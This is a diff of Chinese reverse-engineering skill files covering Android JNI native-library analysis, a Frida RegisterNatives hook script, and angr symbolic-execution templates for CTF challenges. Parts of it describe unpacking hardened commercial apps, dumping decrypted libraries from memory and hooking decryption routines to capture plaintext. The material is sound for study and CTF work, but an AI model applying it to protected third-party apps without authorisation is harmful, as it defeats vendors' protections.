- **JNIEnv 是函数表指针(不是直接调用)**:现象——反编译里 JNI 函数调用点看起来像"从结构体偏移取出函数指针再调用",参数对不上,或按普通函数分析 `GetStringUTFChars` 直接当字符串函数用错;原因——`JNIEnv` 指向 `JNINativeInterface` 函数表,所有 JNI API 都是表槽中的函数指针,C 写法 `(*env)->fn(env, ...)`;对策——Ghidra/IDA 载入 jni.h 类型(Data Type Manager 导入),`JNIEnv` 声明为 `JNINativeInterface**`,反编译自动还原成 `env->GetStringUTFChars(env, str)` 形式;没有类型库时手工按 `JNINativeInterface` 槽位索引建结构体
|
||||
- **动态注册函数地址不在导出表**:现象——`readelf --dyn-syms` / strings 里找不到 `Java_*` 或业务函数名,IDA 里全是地址没名字;原因——动态注册时函数是静态/局部符号,运行时才由 `RegisterNatives` 把地址与 Java 方法绑定;对策——`JNI_OnLoad` 是可选的库加载钩子、非必有导出:存在则反编译看 `RegisterNatives` 第三参数数组逐项还原(name/signature/fnPtr **各为一个指针**:64 位 8 字节、32 位 4 字节);不存在(或导出表无它)时从 `RegisterNatives` 的其他调用点、JNI 函数表 xref、字符串定位,或 frida spawn 后 hook RegisterNatives(步骤 3 脚本)直接拿运行时注册表
|
||||
- **混淆 native(OLLVM)**:现象——反编译全是控制流平坦化(switch 调度器)、字符串全加密、函数巨大难读;原因——游戏/加固厂商用 OLLVM(变脸、bcf、sub)或商业混淆(VMP 类)保护 native 代码;对策——先确认混淆类型(平坦化 vs 指令虚拟化),平坦化按 [[re-deobfuscate]] 还原(状态变量 + 情况块),字符串加密定位解密函数后脚本批量解密;仍不行就 frida 动态拿运行时明文(hook 解密函数读内存)
|
||||
- **多 ABI 架构差异**:现象——按 arm64 分析的偏移/指令套到 armeabi-v7a 全错,或模拟器 x86_64 上行为与真机不同;原因——APK 每个 ABI 一份 so,编译优化/指令集/调用约定不同(arm64 用 x0-x7 传参,arm32 有 thumb 指令,x86_64 用 rdi/rsi...),部分 so 还会按 ABI 返回不同实现(如 arm64 真机 vs x86_64 模拟器分支);对策——`file`/`readelf -h` 先确认目标 ABI,分析以真机 ABI(arm64-v8a)为准,x86_64 结果仅参考;JNI 类型宽度跨 ABI 一致(jlong=64 位、jint=32 位)但 C 层 `long` 宽度不同,注意反编译里的类型标注
|
||||
- **加固 so(壳壳)**:现象——静态分析 so 只见一小段 stub / 壳代码,`JNI_OnLoad` 反编译是脱壳流程;原因——so 被加固(厂商加壳 / 商用壳),真实逻辑运行时才解密到内存;对策——先识别加固([[re-apk]] 加固识别 + 熵值),静态脱壳按 [[re-mobile-pack]],或运行时 [[re-memdump]] 提内存中已解密的 so 再分析;脱壳产物 sha256 存档后回到步骤 1 复跑
|
||||
|
||||
## 经验库
|
||||
|
||||
实战经验全集见 [[experience]]。
|
||||
@@ -0,0 +1,11 @@
|
||||
# re-android-native 经验全集
|
||||
|
||||
> 条目含来源与日期;入库前 grep 去重。格式: **标题**:现象——…;原因——…;对策——…
|
||||
|
||||
## 2026-09-01 · 会话复盘
|
||||
|
||||
**JNIEnv 表槽定位法(hook 抓明文/注册表)**:现象——想抓 JNI 层字符串明文或动态注册表,却不知从哪 hook;原因——JNIEnv 是函数表指针(`[env]` = JNINativeInterface 表),各 API 是表槽(偏移 = 槽号×8),关键槽: `NewStringUTF`=0x538(槽167)、`RegisterNatives`=0x6b8(槽215);对策——`memory.pointer([env]).getLong(0)` 拿表基址,读槽值得实现地址,code hook 该地址:NewStringUTF 命中时 x1=明文、LR=调用点;RegisterNatives 命中时读 methods 数组(名称/签名/地址三指针)。调用点静态定位: 全库搜 `ldr xN, [xN, #0x538]`。来源:Android 商业应用 native 层分析实战
|
||||
|
||||
**注册表拿不到时的裸调用匹配(重建动态注册函数表)**:现象——动态注册的 native 方法,注册表(方法名+签名+地址)加密存储、strings 搜不到,运行时也不注册(模拟器无 ART);原因——注册表本身被加密,注册依赖真实运行时;对策——绕开注册表: ① 全量扫 `.text` 找函数入口(`stp x29,x30` 序言)② 叶子筛选(函数体内无内部 bl)③ 裸调用 `callFunction(addr, jniEnv, 0)`(每候选独立模拟器防状态污染)④ 按返回特征匹配: 0/1=boolean、小值=long/枚举、指针=String/回调 ⑤ 全局读取特征聚类(adrp 目标页)分组。已验证: 158 个候选零崩溃,14 个 boolean、2 个 long、8 个指针函数确认。来源:Android 商业应用 native 层分析实战
|
||||
|
||||
**懒解密/延迟注册的模拟边界**:现象——模拟器里 JNI_OnLoad 全路径执行、注册表槽 hook 零命中,以为漏了逻辑;原因——商业应用把字符串解密/方法注册推迟到 Java 调用链触发(类首次使用),模拟器无 dex 类加载能力,调用链无法构造;对策——先静态验证"启动路径确实不注册"(执行路径追踪+槽 hook),再判断为运行时触发;字符串/注册表的最终获取走真机 frida,模拟器能摸到哪就到哪,不硬啃。来源:Android 商业应用 native 层分析实战
|
||||
@@ -0,0 +1,52 @@
|
||||
# JNI 运行探针(Runtime Probes)
|
||||
|
||||
易变参数层:ABI 传参寄存器 / libart 内部结构 / runtime 实现细节——**不写进 SKILL.md 核心流程**(NDK / ART 版本变化可能影响实现),以运行时探测与校验为准。`JNIEnv` 函数表的 index 布局属固定 ABI(`RegisterNatives`=215),不在此列。
|
||||
|
||||
## RegisterNatives 槽位定位
|
||||
|
||||
`RegisterNatives` 位于标准 `JNIEnv` function table index **215**(`UnregisterNatives` 216)——JNI ABI 的固定布局,JDK 8/11/17/27、GraalVM 21、Android NDK 均一致(新增 helper 只追加在尾部,不改动已有 index)。实际 byte offset = index × 目标指针宽度:64 位下 215×8=0x6B8,32 位下 215×4=0x35C。
|
||||
|
||||
### 运行时锚点(校验用)
|
||||
|
||||
index 固定不代表运行时实现一定符合规范——以下锚点用于**校验**而非推导:
|
||||
|
||||
- 从 `JNIEnv*` 取函数表基址,读 index 215 槽值;按签名形态 `(JNIEnv*, jclass, JNINativeMethod*, jint)` 打桩调用确认
|
||||
- 交叉校验其他固定槽:`NewStringUTF`=167、`GetJavaVM`=219(语义稳定、调用频繁,适合作有效性锚点)
|
||||
- 槽值异常(为空、指向非 libart/系统库范围、多槽指向同一地址)→ 疑 hook/代理函数表或非标准实现,先还原再继续
|
||||
|
||||
### 备选:ART 内部函数 hook(版本绑定)
|
||||
|
||||
`art::JNI::RegisterNatives`(libart.so 导出符号,debuggable 进程可见)——符号名跨版本稳定,内部结构随 ART 版本变化,仅作交叉验证,不写死偏移。
|
||||
|
||||
## Frida 脚本模板
|
||||
|
||||
```js
|
||||
// hook JNI_OnLoad 后按固定 index 定位 RegisterNatives
|
||||
var REGISTER_NATIVES_INDEX = 215; // JNI ABI 固定槽位
|
||||
Interceptor.attach(Module.findGlobalExportByName("JNI_OnLoad"), { // Frida 17+:全局符号静态查找
|
||||
onEnter: function () {
|
||||
var env = this.context.x0; // arm64: JNIEnv* 在 x0(ABI 相关,见下)
|
||||
var table = env.readPointer(); // env[0] = JNINativeInterface 函数表
|
||||
var RegisterNatives = table.add(REGISTER_NATIVES_INDEX * Process.pointerSize).readPointer();
|
||||
if (RegisterNatives.isNull()) { console.log("槽位为空——疑非标准实现或 hook 表"); return; }
|
||||
Interceptor.attach(RegisterNatives, { onEnter: function (a) {
|
||||
console.log("RegisterNatives:", a[1], a[2].readPointer()); // clazz + methods 数组
|
||||
}});
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
**ABI 注记(易变)**:JNIEnv* 传参寄存器随 ABI——arm64 x0、arm32 r0、x86_64 rdi——以 `this.context` 当前架构为准,不写死。
|
||||
|
||||
## Runtime 校验清单
|
||||
|
||||
hook 生效后逐项校验,防误 hook:
|
||||
|
||||
1. **参数形态**:hook 到的方法被调用且参数形态符合 `(JNIEnv*, jclass, JNINativeMethod*, jint)`;形态不符 → 疑非标准实现或调用点误判
|
||||
2. **函数表有效性**:用 `NewStringUTF`(167) / `GetJavaVM`(219) 等固定槽交叉验证表基址正确、无 hook/代理函数表
|
||||
3. **多 ABI**:每个 ABI(arm64-v8a / armeabi-v7a / x86_64)独立确认——index 一致,但传参寄存器与指针宽度不同(byte offset 随宽度变化),脚本按 `Process.arch` 分支
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 函数表 index 是固定 ABI,勿再「按 jni.h 声明序重新推导」;真正易变的是 ABI 传参寄存器、libart 内部结构与 runtime 实现细节,以目标环境实测为准
|
||||
- 核心流程(SKILL.md 步骤 3)只描述机制与策略,易变数值一律在本文件维护
|
||||
133
vendor-new/rev-skills/.claude/skills/re-angr/SKILL.md
Normal file
133
vendor-new/rev-skills/.claude/skills/re-angr/SKILL.md
Normal file
@@ -0,0 +1,133 @@
|
||||
---
|
||||
name: re-angr
|
||||
description: angr 符号执行:符号化输入、求解。触发词:angr、符号执行、自动解题、constraint
|
||||
capabilities: [symbolic-execution]
|
||||
---
|
||||
|
||||
# angr 符号执行(符号化输入 / 自动求解)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:CTF 逆向题——输入在长循环 / 深比较链里逐字节校验(校验通过地址已知或可定位),人工逆推繁琐易错
|
||||
- 用:已知"输入必须到达某地址 / 避开某地址",想把路径条件交给求解器(find / avoid 模式)
|
||||
- 用:输入来源复杂(argv / 文件 / 标准输入),需要按通道符号化后求解
|
||||
- 不用:简单 XOR / 明文比较(一屏伪代码内)——人工更快([[re-binary-core]])
|
||||
- 不用:校验含不可符号化内容(环境相关值、随机数、未符号化输入)——会无解或误解(见坑 3)
|
||||
- 不用:需要精确约束集合而非一条路径时——纯约束求解用 [[re-z3]] 更轻(见坑 2)
|
||||
- 注意:符号执行是把双刃剑——先人工定位关键校验函数缩小符号化范围(见坑 2);运行验证走沙箱([[re-analyze/platform-tips]] 最高原则)
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]] 最高原则——用求解结果运行目标验证时默认沙箱;angr 本身是进程内仿真器,不接触真实系统调用,求解过程无需沙箱。
|
||||
|
||||
### angr(pip 安装)
|
||||
|
||||
- `pip install angr`(Linux / macOS / Windows 均可;Windows 下 pip 装 win32 wheel,WSL 内安装 Linux 版亦可)
|
||||
- **Python 版本兼容性(重点)**:**angr 9.3.0 起要求 Python 3.12+**(`requires-python >=3.12`;当前主线 10.x 同);**9.2.x 不是固定区间**——下限随补丁版本抬高(9.2.91 要求 ≥3.8,9.2.203 已要求 ≥3.10),不能按「9.2.x」整线判断。装前以目标版本的 PyPI `requires-python` 为准(`pip index versions angr` 看可用版本),再按系统 Python 选:
|
||||
- 系统自带 Python 3.12+(Ubuntu 24.04 默认 3.12)→ 直接 `pip install angr`(当前主线 10.x;Python >=3.12)
|
||||
- 系统为 Python 3.11 及以下 → `pip install "angr<9.3"`(9.2.x 线),**别硬装 9.3+**
|
||||
- 多版本并存用 venv 隔离:`python3.12 -m venv ~/venvs/angr && source ~/venvs/angr/bin/activate`(或 `brew install python@3.12` / `py -3.12 -m venv angr-venv`)
|
||||
- 装前先升级基础工具:`pip install --upgrade pip setuptools wheel`(避免原生组件编译失败)
|
||||
- Linux 建议补 `binutils`(angr 处理 / 重写二进制会调 objcopy):`apt install binutils`
|
||||
- 验证: `python3 -c "import angr; print(angr.__version__)"`
|
||||
|
||||
### python3
|
||||
|
||||
- Linux: `apt install python3`(多数自带);macOS: `brew install python`;Windows: 官方安装包 / `choco install python`
|
||||
- 验证: `python3 --version`
|
||||
|
||||
### 目标二进制
|
||||
|
||||
- 原始样本副本(**先备份**:符号执行不修改文件,但建模要反复对照,见坑 5)+ [[re-triage]] 初勘产物(架构 / 位数 / 是否静态链接 / 是否带壳)
|
||||
- 验证: `file target` 确认架构与位数(arm 目标 angr 支持,注意字节序)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记录结果(地址 / 约束 / 求解脚本 / flag,证据路径见 [[re-triage]])。**先人工后自动化**:符号化范围越小越稳(见坑 2)。
|
||||
|
||||
1. **输入适配(Input Adapter):确定符号源(symbol source)**:
|
||||
- 反编译定位输入读取点:`read` / `scanf` / `fgets` / `getline` / `main(int argc, char **argv)` 的 argv 使用处([[re-ghidra]] / [[re-ida]] / [[re-radare2]])
|
||||
- 按**符号源类型**选择接入方式(CTF 的 stdin 只是其中一种——真实目标输入可能是网络包/文件映射/JNI 参数/自定义字节码):
|
||||
|
||||
| 符号源 | 接入方式 |
|
||||
|---|---|
|
||||
| stdin(标准输入) | `project.factory.full_init_state(stdin=claripy.BVS('in', 32*8))` |
|
||||
| argv(命令行参数) | `project.factory.full_init_state(args=["./target", claripy.BVS("arg1", 64*8)])` |
|
||||
| file(文件输入) | `state.fs.insert('/tmp/in', angr.SimFile('in', content=claripy.BVS('in', 32*8)))`——fopen 后即符号化;按 fd 操作用 `state.posix.fd[0]`(fd 0=stdin;fd 1/2 是 stdout/stderr,勿混) |
|
||||
| memory(mmap/堆/全局缓冲区) | 直接符号化目标内存区:`state.memory.store(addr, claripy.BVS('buf', n*8))`——程序从该地址读入即符号化(mmap 文件、解密缓冲、共享内存通用) |
|
||||
| network buffer(网络包/recv) | hook `recv`/`read`:**按调用约定取 buf 参数**(x86-64 SysV 是 RSI=buf、RDX=len),把符号字节写进该地址,**返回值是 ssize_t 字节数而不是 buffer 指针**——返回符号长度才能让 `if (recv(...) > 0)` 一类控制流可变。照"返回符号指针"实现会把后续控制流全部建歪 |
|
||||
| jni argument(Android native 入参) | 对 `JNIEnv` 方法参数做符号化:从 `GetByteArrayElements`/`GetStringUTFChars` 返回处符号化(配合 [[re-android-native]]/[[re-frida]] 确认入参形态) |
|
||||
| custom VM bytecode(自定义 VM 指令流) | 把字节码缓冲区整体符号化 + 约束操作码范围(0x00-0x0F 类)——VM 逆向的符号执行路径([[re-deobfuscate]] 联动) |
|
||||
|
||||
- 记下:符号化通道 + 字节数 + 读取点地址(后续 find / hook 用);N 字节长度对照读取点逻辑确认(见坑 3)
|
||||
|
||||
2. **到达目标地址 / 避开地址建模(find / avoid)**:
|
||||
- 反编译确认**成功路径地址**(校验通过后打印 flag 的地址)与**失败路径地址**(打印 "wrong" 等处,有多个失败点要列全)
|
||||
- 建模:`simgr.explore(find=<入口地址>, avoid=[<失败分支地址>])`(find 可多地址或 lambda `lambda s: b"flag{" in s.posix.dumps(0)`)
|
||||
- find 选地址的技巧:选**校验循环出口**而非程序 exit——找到"经过校验通过分支"的状态即可,不必等打印(见坑 5)
|
||||
- 校验是通过调用函数返回判定(`if (check(input))`)→ find 设在 check 返回后的成功分支地址,avoid 设在失败分支
|
||||
|
||||
3. **路径约束与求解(solver)**:
|
||||
- 找到状态后,约束即该状态路径上累积的条件:`found = simgr.found[0]`
|
||||
- 求解:直接对符号变量求值(不依赖 posix 插件):`flag = found.solver.eval(inp, cast_to=bytes)`(inp 即步骤 1 创建的 stdin/argv 符号)或按符号变量名求:`found.solver.eval(flag_sym, cast_to=bytes)`
|
||||
- 多解时按需加约束(长度 / 可打印字符,见坑 4):
|
||||
```python
|
||||
for c in flag_sym.chop(8): found.solver.add(0x20 <= c, c <= 0x7e)
|
||||
```
|
||||
- 输出到文件:`open('flag.bin','wb').write(flag)`,同时打印 repr 检查(非打印字符常是符号化长度问题,见坑 3)
|
||||
|
||||
4. **路径爆炸应对(hook / 限制深度 / 分段)**:
|
||||
- **hook 无关调用**:把与校验无关的重型 / 系统调用替换成轻量过程:
|
||||
```python
|
||||
project.hook(addr_of_sleep_or_memset_impl, angr.SIM_PROCEDURES["stubs"]["ReturnUnconstrained"]())
|
||||
```
|
||||
`angr.SIM_PROCEDURES` 自带库(`libc.sleep`、`linux_kernel` 等)优先:`project.hook_symbol("sleep", angr.SIM_PROCEDURES["libc"]["sleep"])`(sleep 属 libc 类目,不是 posix)
|
||||
- **限制探索规模**:`simgr = proj.factory.simgr(state, veritesting=True)`(veritesting 合并路径,长循环题常用,见坑 2);`simgr.explore(find=..., avoid=..., num_find=1)` 找到即停;`stash` 上限 / `lazy_solves` 选项控制
|
||||
- **分段探索**:长循环把入口地址 hook 住,先探索到循环边界,再对循环体单独符号化展开(人工定位循环不变量后缩小范围)
|
||||
- 仍爆炸 → 回到步骤 1 缩小符号化范围 / 结合人工分析(见坑 2),或换 [[re-z3]] 对已展开的循环体建模
|
||||
|
||||
5. **典型模板(find / avoid 模式)**:
|
||||
```python
|
||||
import angr, claripy
|
||||
p = angr.Project("./target", auto_load_libs=False) # 关库加载,快且稳
|
||||
inp = claripy.BVS("inp", 32 * 8) # 32 字节符号化输入
|
||||
state = p.factory.full_init_state(stdin=inp)
|
||||
simgr = p.factory.simgr(state, veritesting=True)
|
||||
simgr.explore(find=0x401100, avoid=[0x401200, 0x401300]) # 示意地址:按目标实际入口/分支替换
|
||||
if simgr.found:
|
||||
sol = simgr.found[0].solver.eval(inp, cast_to=bytes)
|
||||
print(sol) # 直接保存进证据目录
|
||||
else:
|
||||
print("no path found") # 排查:地址错 / 输入长度 / 未符号化
|
||||
```
|
||||
- 模板参数化:`find` / `avoid` / 输入长度 / 符号化通道写进脚本头部注释,逐个换参跑(见坑 5)
|
||||
|
||||
**验证**:沙箱内([[re-sandbox]])用求解出的输入原样跑目标(stdin 重定向 `./target < flag.bin` 或按 argv / 文件通道),必须打印 `flag{...}`;与 [[re-z3]] / 人工还原结果交叉对照(见坑 4)。
|
||||
|
||||
## 跨域联合
|
||||
- [[re-address-space]]:mapped_base/rebase 与目标地址对齐
|
||||
|
||||
- [[re-ctf]]:本技能是 re-ctf 网关工作流第 3 步的自动化解题路径(逐字节长循环校验题)
|
||||
- [[re-binary-core]]:前置工作台——反编译定位输入读取点 / 成功失败分支地址([[re-ghidra]] / [[re-ida]] / [[re-radare2]]);[[re-triage]] 初勘决定架构 / 位数 / 壳
|
||||
- [[re-deobfuscate]]:混淆先还原再符号执行(花指令 / 平坦化函数直接符号执行会路径爆炸)
|
||||
- [[re-z3]]:姊妹技能——无循环 / 已人工展开的约束集合用 z3 更轻更快;angr 求解慢时对约束子集转 z3
|
||||
- [[re-crypto-decrypt]]:其「工具准备」将 angr 列为可选的解密仿真方案(还原算法失败时符号化执行解密函数)
|
||||
- [[re-sandbox]]:求解输入的运行验证沙箱([[re-analyze/platform-tips]] 最高原则)
|
||||
- [[re-gdb]] / [[re-tracing]]:动态交叉验证(断点看校验分支实际走向,与 angr 路径结论对照)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **路径爆炸**:现象——`explore` 跑十几分钟状态数飞涨,内存吃满;原因——符号化范围过大(整段程序都符号化)、无关分支(strlen / memcpy 展开、错误处理分支)被逐一探索、长循环不合并;对策——hook 无关系统调用(步骤 4)、`veritesting=True` 合并路径、`num_find=1` 找到即停、缩小符号化输入范围(步骤 1 只符号化校验真正读取的字节);仍不行就分段探索或转人工分析
|
||||
- **复杂校验慢 → 结合人工分析**:现象——一个看似简单的题 angr 几分钟没结果;原因——校验链中夹着查表 / 随机数 / 系统调用副作用,符号执行在这些点低效;对策——先人工反编译定位**关键校验函数**,把符号化入口设到校验函数入口(`blank_state` + 手动设置寄存器 / 内存),跳过前面无关代码;校验是纯等式集合时直接换 [[re-z3]]
|
||||
- **未符号化输入 → 无解**:现象——`explore` 秒回 `no path found`,或求解出的值跑原程序不通过;原因——输入没被符号化(读取的是真实 stdin / 文件内容)、符号化字节数 < 实际读取长度(`fgets(buf, 0x40)` 却只符号化 16 字节)、输入含运行时才能确定的量(随机数 / 时间戳);对策——对照反编译确认读取点与长度(步骤 1),stdin 长度按读取上限符号化;随机值点用 hook 固定(`hook_symbol("rand", ...)`)再符号化
|
||||
- **python 版本兼容**:现象——`pip install angr` 报编译错误 / import 即崩(`ImportError` 指向 C 扩展);原因——angr 9.3.0+ 官方要求 Python 3.12+,9.2.x 线下限随补丁版本抬高(9.2.91 要求 ≥3.8、9.2.203 已要求 ≥3.10),在过旧解释器上装新版(或在 3.13 上装无 wheel 的旧依赖)会现场编译甚至失败;对策——查**目标版本**的 Python 要求(PyPI `requires-python`):9.3+ 用 3.12+,9.2 按具体补丁版的元数据选解释器,建独立 venv 安装(工具准备节);装前 `pip install --upgrade pip setuptools wheel`
|
||||
- **find 地址选错 → 求解出的"flag"跑不通**:现象——求解成功但输出含非打印字符 / 程序不打印 flag;原因——find 设在错误处理循环(失败也经过)、多失败点只 avoid 了一个、符号化长度与程序读取不一致;对策——find 选**校验循环出口**(用反编译确认唯一成功路径),avoid 列全所有失败分支;输出先 `repr()` 检查再原样重放(见步骤 3 验证);拿多个解逐一跑目标验证
|
||||
- **PIE 基址偏移 → find 地址填错**:现象——按 Ghidra 显示的地址(如 `0x00101231`)填 find,angr 永远找不到;原因——PIE 二进制 Ghidra 按 0x100000 基址显示,angr 从 0x400000 装载;对策——地址换算(差 0x300000 之类固定偏移),或先查 angr 内模块实际装载基址再定 find 地址,脚本头部注释标明换算关系
|
||||
- **自定义 VM/重度混淆题直接符号执行低效**:现象——校验包在自定义字节码 VM(Tigress 等)里,angr 状态爆炸 / 求解无果;原因——VM 的 dispatch 循环反复符号化 + 混淆路径分支(先消 opaque predicate,见 [[re-deobfuscate]]);对策——VM handler 用 Unicorn 实例化仿真(angr 只负责外层控制流),或探索到死路径后导出每条路径的 SMT 方程交给 [[re-z3]] 生成输入(Tigress 案例达到 100% 分支覆盖)
|
||||
- **SimProcedure 摘要不准 → 结果诡异**:现象——`explore` 结果明显违反直觉(错误返回值、绕过校验),或同一逻辑换种跑法结果不一致;原因——angr 用 Python 摘要(SimProcedure)替代库函数以避免路径爆炸(strlen/malloc 等),但摘要有 bug 或不完整;对策——行为异常时优先怀疑 SimProcedure:禁用对应摘要(注意输入约束不紧时可能路径爆炸)或用 `project.hook` 按实际场景自定义摘要(如针对单一格式串自写 scanf hook)
|
||||
- **除零约束缺失 → 求解出 4294967295 类怪值**:现象——求解出的输入里出现 `0xFFFFFFFF` 之类,跑原程序必挂;原因——Z3 对 `a/b`(分母为 0)求值为全 1(4294967295),angr 只在部分路径(VEX 侧出口)拦截除零,SimProcedure/自定义分析代码可能漏过去;对策——涉及除法的符号表达式显式加"分母非零"约束,别依赖 angr 自动处理
|
||||
- **未初始化寄存器/内存被自动符号化 → 求解空间虚胖**:现象——求解极慢或结果含垃圾值,日志有 unconstrained 告警;原因——`entry_state` 对未初始化的寄存器/内存生成未约束符号变量,把无关状态也符号化了;对策——按告警设置状态选项 `ZERO_FILL_UNCONSTRAINED_MEMORY`/`ZERO_FILL_UNCONSTRAINED_REGISTERS`(或 `SYMBOL_FILL_*` 抑制告警),或显式设置已知初值,缩小求解空间
|
||||
- **cmovxx 不会自动分裂分支(ollvm 后继还原)**:现象——angr 模拟 ollvm 真实块找后继时 cmov 分支丢失,后继关系不完整;原因——angr 对 cmov 类指令通过**积累约束**实现而非分裂两个状态;对策——手动分裂:`state.copy()` 两份(一份执行 Move:`setattr(regs, dst, getattr(regs, src))`,一份不执行),并**手动跳过 cmov 指令**(`state.regs.ip += ins.size`)防止 angr 再次执行,再各自 simgr 步进找后继
|
||||
- **分发器 hook 要 unhook + 地址偏移校准**:现象——hook 主分发器末条指令跳真实块后执行又跳回分发器死循环,或 angr 解码出混乱指令;原因——hook 未卸掉(执行回来再次进 hook);capstone 从错误边界解码(指令错位);对策——跳到目标块后立即 unhook;解码混乱时调整 hook 地址(经验偏移如 -6,逐位试并输出汇编对照确认,见下条方法)
|
||||
- **ollvm 真实块识别与 patch 顺序**:现象——静态插件(D-810)面对变异 ollvm(双循环头、汇聚块与循环头合并)乏力;原因——静态分析难处理变体;对策——动态执行找真实顺序:BFS 找循环头(回到已访问块即循环头)→ 循环头两前驱=序言+汇聚块(多前驱者为汇聚块)→ 汇聚块前驱们=真实块,另找 ret 块(无后继且末指令 retn);**patch 顺序固定**:先收集全部无用块列表(含起止地址)→ 再 patch 控制流 → 最后按先前列表 nop 无用块(先 patch 再找无用块会找错)
|
||||
- API 速查(装载/状态/求解/hook 各族)与组合套路见 [[commands]];版本差异、求解语义与装载边界见 [[gotchas]]
|
||||
@@ -0,0 +1,141 @@
|
||||
# angr 命令速查与操作序列
|
||||
|
||||
angr 是 Python 库,没有 CLI 命令——"命令"即 API 调用。全部用法以官方文档(docs.angr.io)与目标版本源码为准;版本差异见 [[gotchas]]。
|
||||
|
||||
## 装载族(Project)
|
||||
|
||||
```python
|
||||
import angr, claripy
|
||||
p = angr.Project("./target", auto_load_libs=False) # 关库加载:快且稳(默认行为按版本有差异)
|
||||
p.loader.main_object.mapped_base # 实际装载基址(PIE 目标先查它)
|
||||
p.loader.main_object.entry # 入口点
|
||||
p.factory # 状态/块工厂
|
||||
p.factory.block(addr).vex # 取 VEX IR(汇编级核对)
|
||||
```
|
||||
|
||||
## 状态族(State)
|
||||
|
||||
```python
|
||||
s = p.factory.entry_state() # 从入口
|
||||
s = p.factory.full_init_state(stdin=claripy.BVS('in', 32*8)) # 标准输入符号化
|
||||
s = p.factory.full_init_state(args=["./target", claripy.BVS("arg1", 64*8)]) # argv 符号化
|
||||
s = p.factory.blank_state(addr=0x401000) # 任意地址起步(校验函数入口常用)
|
||||
s.regs.rax = claripy.BVS('rax', 64) # 设符号寄存器
|
||||
s.mem[0x601000].int32 = ... # 符号内存写
|
||||
s.posix.dumps(0) # 当前 stdin 内容(find 条件常用)
|
||||
s.solver.eval(...) / s.solver.add(...) # 该状态的求解器
|
||||
# 状态选项(未初始化内存/寄存器行为)
|
||||
opts = {angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY, angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS}
|
||||
s = p.factory.entry_state(add_options=opts)
|
||||
```
|
||||
|
||||
## 文件系统族
|
||||
|
||||
```python
|
||||
s.fs.insert('/tmp/in', angr.SimFile('in', content=claripy.BVS('in', 32*8))) # 符号文件
|
||||
# 程序 fopen('/tmp/in') 后读取即符号化;按 fd 操作走 s.posix.fd[0](0=stdin,1/2 是 stdout/stderr 勿混)
|
||||
```
|
||||
|
||||
## SimManager 族(路径探索)
|
||||
|
||||
```python
|
||||
simgr = p.factory.simgr(s, veritesting=True) # veritesting 合并路径(长循环题常用)
|
||||
simgr.explore(find=0x401100, avoid=[0x401200, 0x401300], num_find=1) # 示意地址:按目标实际入口/分支替换;找到即停
|
||||
simgr.found / simgr.deadended / simgr.active # 各 stash
|
||||
simgr.move('deadended', 'active') # stash 操作
|
||||
simgr.run(n=100) # 手动步数上限
|
||||
simgr.prune() # 剪掉已无解路径
|
||||
```
|
||||
|
||||
## 求解族(claripy / solver)
|
||||
|
||||
```python
|
||||
inp = claripy.BVS('inp', 32*8) # 符号变量(位宽=字节数*8)
|
||||
claripy.BVV(0x41, 8) # 具体值
|
||||
solver = found.solver
|
||||
solver.add(inp.get_byte(0) == ord('f')) # 加约束(逐字节)
|
||||
flag = solver.eval(inp, cast_to=bytes) # 求值
|
||||
solver.satisfiable() # 可满足性检查
|
||||
solver.min(inp) / solver.max(inp) # 极值(长度约束常用)
|
||||
for c in flag_sym.chop(8): solver.add(0x20 <= c, c <= 0x7e) # 可打印字符约束
|
||||
# eval 超时与数量: solver.eval(expr, n=..., cast_to=bytes, timeout=...) 按需
|
||||
```
|
||||
|
||||
## Hook 族(路径爆炸应对)
|
||||
|
||||
```python
|
||||
project.hook(addr, angr.SIM_PROCEDURES["stubs"]["ReturnUnconstrained"]()) # 地址处替换
|
||||
project.hook_symbol("sleep", angr.SIM_PROCEDURES["libc"]["sleep"]) # 按符号替换
|
||||
project.hook_symbol("rand", angr.SIM_PROCEDURES["libc"]["rand"]) # 固定随机值
|
||||
project.unhook(addr) / project.unhook_symbol("sleep") # 还原
|
||||
# SIM_PROCEDURES 类目: "stubs" 通用替身 / "libc" / "linux_kernel" / "posix" 等
|
||||
```
|
||||
|
||||
## 分析族(其他内置分析)
|
||||
|
||||
```python
|
||||
p.analyses.CFGFast() # 快速控制流图(找关键函数/循环边界)
|
||||
p.analyses.CFGEmulated() # 模拟 CFG(重/慢)
|
||||
p.analyses.BackwardSlice(...) # 后向切片(定位影响输出的输入字节)
|
||||
p.analyses.VariableRecovery(...) # 变量恢复
|
||||
```
|
||||
|
||||
## 操作序列(组合套路)
|
||||
|
||||
### 1. CTF find/avoid 标准模板(argv 变体)
|
||||
|
||||
```python
|
||||
import angr, claripy
|
||||
p = angr.Project("./target", auto_load_libs=False)
|
||||
arg = claripy.BVS("arg1", 64*8)
|
||||
s = p.factory.full_init_state(args=["./target", arg])
|
||||
simgr = p.factory.simgr(s, veritesting=True)
|
||||
simgr.explore(find=0x401100, avoid=[0x401200, 0x401300]) # 示意地址:按目标实际入口/分支替换
|
||||
if simgr.found:
|
||||
print(simgr.found[0].solver.eval(arg, cast_to=bytes))
|
||||
```
|
||||
|
||||
### 2. 文件输入符号化(fopen 读取型)
|
||||
|
||||
```python
|
||||
s = p.factory.full_init_state()
|
||||
s.fs.insert('/tmp/in', angr.SimFile('in', content=claripy.BVS('in', 0x40*8))) # 长度按读取上限
|
||||
simgr = p.factory.simgr(s)
|
||||
simgr.explore(find=..., avoid=...)
|
||||
sol = simgr.found[0].solver.eval(s.fs.get('/tmp/in').content, cast_to=bytes)
|
||||
open('flag.bin','wb').write(sol) # 沙箱内 ./target < flag.bin 验证
|
||||
```
|
||||
|
||||
### 3. blank_state 从校验函数入口起步(跳过无关代码)
|
||||
|
||||
```python
|
||||
# 反编译定位校验函数入口([[re-ghidra]])与参数约定
|
||||
s = p.factory.blank_state(addr=check_entry, add_options={angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS})
|
||||
s.regs.rdi = claripy.BVS('inp', 32*8) # 按调用约定放参数
|
||||
s.mem[s.regs.rsp] = 0x0 # 栈帧最小化(返回地址)
|
||||
simgr = p.factory.simgr(s)
|
||||
simgr.explore(find=success_addr, avoid=fail_addr)
|
||||
```
|
||||
|
||||
